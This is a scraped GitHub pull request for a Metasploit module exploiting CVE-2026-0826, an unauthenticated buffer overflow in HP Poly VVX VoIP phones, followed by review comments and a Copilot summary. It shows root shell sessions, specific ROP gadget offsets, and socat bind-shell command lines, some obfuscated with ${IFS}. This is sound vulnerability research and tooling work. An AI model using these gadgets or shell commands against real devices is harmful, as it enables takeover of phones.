Exploit module for HP Poly VVX (CVE-2026-0826) by sfewer-r7 · Pull Request #21525 · rapid7/metasploit-framework

sfewer-r7 · 2026-06-02T11:16:16Z

Overview

This pull request adds an exploit module for CVE-2026-0826, an unauthenticated stack based buffer overflow affecting every model in the HP Poly VVX series, and the HP Poly Trio series of VoIP devices when they have the non-default ICE feature enabled. For more information on the vuln, see our Rapid7 disclosure blog or the vendor advisory.

The module currently supports a VVX 450 device with ROP gadgets for one recent version (6.4.7.4477), as that's what I have to test against.

The device is a minimal embedded Linux system, and getting a payload to work was a pain. I could only leverage socat based payloads, and specifically I added a new cmd/unix/bind_socat_tcp payload which is verified to work.

Example

msf exploit(linux/misc/poly_unauth_rce_cve_2026_0826) > check
[*] 192.168.86.80:5060 - The service is running, but could not be validated. Poly VVX_450 version 6.4.7.4477
msf exploit(linux/misc/poly_unauth_rce_cve_2026_0826) > exploit 
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated. Poly VVX_450 version 6.4.7.4477
[*] Started bind TCP handler against 192.168.86.80:4444
[*] Command shell session 1 opened (192.168.86.122:33875 -> 192.168.86.80:4444) at 2026-06-02 11:59:28 +0100

id
uid=0(root) gid=0(root)
date
Tue Jun  2 11:59:30 UTC 2026
uname -a
Linux (none) 2.6.27.18 #1 PREEMPT Mon Jan 13 09:50:58 PST 2020 armv6l unknown
pwd
/ffs0
exit
[*] 192.168.86.80 - Command shell session 1 closed.

jvoisin · 2026-06-02T21:59:02Z

+  def get_vvx_rop_table(version_str)
+    rop_tables = {
+      '6.4.7.4477' => {
+        # Even though /proc/sys/kernel/randomize_va_space is 1, all libraries are


Now I'm curious as to why ASLR doesn't work :D

So am I. The SO libraries like libc-2.8.so are compiled with PIE so I expected them to be randomized per-boot, but that never happened. I spent some time looking at the kernel to see if something obvious was present, but I want not able to identify the cause.

adfoster-r7 · 2026-06-04T13:40:48Z

+    disconnect_udp
+  end
+
+  def get_version


If we want to cache it

Suggested change

def get_version

def get_version

@version ||= _get_version

end

def _get_version

this was added via 61a9870.

Copilot

Pull request overview

Adds a new Metasploit exploit module targeting HP Poly VVX/Trio VoIP devices vulnerable to CVE-2026-0826, along with a new socat-based bind TCP command payload and corresponding module documentation.

Changes:

Introduces exploit/linux/misc/poly_unauth_rce_cve_2026_0826 (UDP/SIP SDP ICE attribute overflow with VVX 450 ROP table for 6.4.7.4477).
Adds a new cmd/unix/bind_socat_tcp payload intended to provide a socat-backed bind shell.
Adds end-user documentation for the new exploit module.

Impact Analysis:

Blast radius: medium — new exploit/payload surfaces in module and payload catalogs; affects users selecting cmd/unix/bind_socat_tcp and running AutoCheck on the new exploit.
Data and contract effects: low — no schema changes; new module/payload add new API surface (module/payload names/options) but do not modify existing ones.
Rollback and test focus: rollback is straightforward (remove new files); focus validation on check behavior (Safe vs Unknown), version/model detection failure paths, and verifying the bind socat payload yields a usable interactive session.

Reviewed changes

Copilot reviewed 3 out of 3 changed files in this pull request and generated 5 comments.

File	Description
modules/payloads/singles/cmd/unix/bind_socat_tcp.rb	Adds a new socat-based bind TCP command-shell payload.
modules/exploits/linux/misc/poly_unauth_rce_cve_2026_0826.rb	Adds the CVE-2026-0826 unauth SIP/SDP ICE overflow exploit with a VVX 450 ROP table.
documentation/modules/exploit/linux/misc/poly_unauth_rce_cve_2026_0826.md	Adds operator-facing documentation and an example run for the new exploit.

sfewer-r7 · 2026-06-05T11:37:56Z

+      Exploit::CheckCode::Safe(description)
+    end
+
+    CheckCode::Unknown


fixed in 9cfebe4. also 61a9870 reworks the version check to use all the affected version listed in the vendor advisory.

sfewer-r7 · 2026-06-05T11:38:15Z

+
+    _, model_str, version_str = get_version
+
+    fail_with(Failure::UnexpectedReply, 'Failed to get target version') unless version_str || model_str


fixed in ef5795e

sfewer-r7 · 2026-06-05T11:38:48Z

+        info,
+        'Name' => 'HP Poly Voice Unauthenticated Remote Code Execution',
+        'Description' => %q{
+          CVE-2026-0826 is a critical unauthenticated stack-based buffer overflow vulnerability affecting affect all


fixed in c31ac60.

sfewer-r7 · 2026-06-05T11:38:42Z

@@ -0,0 +1,87 @@
+## Vulnerable Application
+CVE-2026-0826 is a critical unauthenticated stack-based buffer overflow vulnerability affecting affect all


fixed in c31ac60.

sfewer-r7 · 2026-06-05T11:40:28Z

+  # Returns the command string to use for execution
+  #
+  def command_string
+    "#{datastore['SocatPath']} tcp-l:#{datastore['LPORT']},fork exec:'#{datastore['BashPath']}'"


i added a7fc1af for a bunch of improvements to this socat payload. tested to work on my HP Poly VVX 450 device. you now get an interactive login session which is nicer:

msf exploit(linux/misc/poly_unauth_rce_cve_2026_0826) > exploit [+] /usr/local/bin/socat tcp-l:4444 exec:'/bin/sh',login,pty,stderr,setsid,sigint,sane [*] Running automatic check ("set AutoCheck false" to disable) [!] The service is running, but could not be validated. Poly VVX_450 version 6.4.7.4477 [*] cmd: /usr/local/bin/socat${IFS}tcp-l:4444${IFS}exec:'/bin/sh',login,pty,stderr,setsid,sigint,sane [*] ROP Table: {:libc_base=>1084604416, :libc_gadget1=>87124, :libc_gadget2=>1031180, :libc_system=>227784, :libc_gadget4=>941044} [*] Started bind TCP handler against 192.168.86.80:4444 [-] The connection was refused by the remote host (192.168.86.80:4444). [*] Command shell session 1 opened (192.168.86.122:46697 -> 192.168.86.80:4444) at 2026-06-05 12:29:36 +0100 Shell Banner: BusyBox v1.11.1 (2018-04-20 04:23:17 IST) built-in shell (ash) Enter 'help' for a list of built-in commands. -/bin/sh: can't access tty; job control turned off # ----- # id id uid=0(root) gid=0(root) # uname -a uname -a Linux (none) 2.6.27.18 #1 PREEMPT Mon Jan 13 09:50:58 PST 2020 armv6l unknown #

All the socat payloads would benefit from a review and standardization across how they operate and the advanced options they can (or cannot) accept.

Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>

…ot\!)

…allows one to be nil and can lead to NoMethodError on model_str.downcase or a nil ROP lookup. Impact: exploit can crash instead of failing cleanly when version detection is partial. Fix: require both values to be present. (Thanks Copilot)

… the vendor advisory. I dont have a Poly trio device to test, but Recog has user agents strings we can use for the regex when pulling out the model and version info.

…l, avoids the encoding issue for the hp pole module (leverages pty and login instead of " -li"), does not fork (which is inline with other socat payloads).

add in exploit module for CVE-2026-0826

99ba859

smcintyre-r7 added this to Metasploit Kanban Jun 2, 2026

github-project-automation Bot moved this to Todo in Metasploit Kanban Jun 2, 2026

jvoisin reviewed Jun 2, 2026

View reviewed changes

adfoster-r7 requested a review from Copilot June 4, 2026 13:37

Copilot started reviewing on behalf of adfoster-r7 June 4, 2026 13:37 View session

adfoster-r7 reviewed Jun 4, 2026

View reviewed changes

Copilot AI reviewed Jun 4, 2026

View reviewed changes

sfewer-r7 and others added 6 commits June 5, 2026 10:47

Fix typo in comment

5bee499

Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>

add a return keyword, otherwise this just falls through (Thanks Copil…

9cfebe4

…ot\!)

typo in description

c31ac60

rework the version detection logic to support all affected models per…

61a9870

… the vendor advisory. I dont have a Poly trio device to test, but Recog has user agents strings we can use for the regex when pulling out the model and version info.

improve the socat bind tcp payload. now get an interactive login shel…

a7fc1af

…l, avoids the encoding issue for the hp pole module (leverages pty and login instead of " -li"), does not fork (which is inline with other socat payloads).

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Exploit module for HP Poly VVX (CVE-2026-0826)#21525

Exploit module for HP Poly VVX (CVE-2026-0826)#21525
sfewer-r7 wants to merge 7 commits into
rapid7:masterfrom
sfewer-r7:CVE-2026-0826

sfewer-r7 commented Jun 2, 2026 •

edited

Loading

Uh oh!

Uh oh!

jvoisin Jun 2, 2026

Uh oh!

sfewer-r7 Jun 5, 2026

Uh oh!

adfoster-r7 Jun 4, 2026

Uh oh!

sfewer-r7 Jun 5, 2026

Uh oh!

Copilot AI left a comment

Uh oh!

sfewer-r7 Jun 5, 2026

Uh oh!

sfewer-r7 Jun 5, 2026

Uh oh!

sfewer-r7 Jun 5, 2026

Uh oh!

sfewer-r7 Jun 5, 2026

Uh oh!

sfewer-r7 Jun 5, 2026

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

6 participants


		_, model_str, version_str = get_version

		fail_with(Failure::UnexpectedReply, 'Failed to get target version') unless version_str \|\| model_str

		@@ -0,0 +1,87 @@
		## Vulnerable Application
		CVE-2026-0826 is a critical unauthenticated stack-based buffer overflow vulnerability affecting affect all

Conversation

sfewer-r7 commented Jun 2, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Overview

Example

Uh oh!

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Copilot AI left a comment

Choose a reason for hiding this comment

Pull request overview

Reviewed changes

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

6 participants

sfewer-r7 commented Jun 2, 2026 •

edited

Loading